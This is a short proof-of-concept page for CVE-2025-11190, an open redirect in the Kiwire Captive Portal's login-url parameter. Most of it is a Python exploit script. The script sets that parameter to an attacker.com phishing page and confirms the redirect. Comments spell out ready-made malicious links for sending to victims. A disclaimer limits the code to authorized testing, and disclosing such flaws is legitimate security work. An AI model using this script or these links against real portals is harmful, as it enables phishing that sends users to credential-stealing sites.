The Kiwire Captive Portal contains an open redirection issue via the login-url parameter, allowing an attacker to redirect users to an attacker controlled website.
The following code is for security research and authorized testing only.
python
# CVE-2025-11190 - Kiwire Captive Portal Open Redirect PoC
# Vulnerability: Open Redirect via login-url parameter
# The login-url parameter does not validate the redirect target,
# allowing attackers to redirect users to arbitrary external websites.
import requests
# Target Kiwire Captive Portal URL
TARGET_URL = "https://kiwire-portal.example.com/login"
# Attacker's controlled malicious website
MALICIOUS_URL = "https://attacker.com/phishing-page"
def exploit_open_redirect(target_url, malicious_url):
"""
Exploit the open redirect vulnerability by injecting a malicious URL
into the login-url parameter.
"""
# Construct the malicious URL with the login-url parameter set to attacker-controlled site
params = {
"login-url": malicious_url
}
# Send the request (allow_redirects=False to observe the redirect)
response = requests.get(target_url, params=params, allow_redirects=False)
# Check if the server responded with a redirect (3xx status code)
if response.status_code in (301, 302, 303, 307, 308):
redirect_location = response.headers.get("Location", "")
print(f"[+] Redirect detected!")
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Location Header: {redirect_location}")
if malicious_url in redirect_location:
print(f"[+] VULNERABLE: Server redirected to attacker-controlled URL: {redirect_location}")
return True
else:
print(f"[-] Not vulnerable or redirect was sanitized.")
return False
else:
print(f"[-] No redirect response. Status: {response.status_code}")
return False
if __name__ == "__main__":
# Example malicious link that can be sent to victims:
# https://kiwire-portal.example.com/login?login-url=https://attacker.com/phishing-page
exploit_open_redirect(TARGET_URL, MALICIOUS_URL)
# Example malicious URL to distribute via phishing:
# https://kiwire-portal.example.com/login?login-url=https://attacker.com/fake-login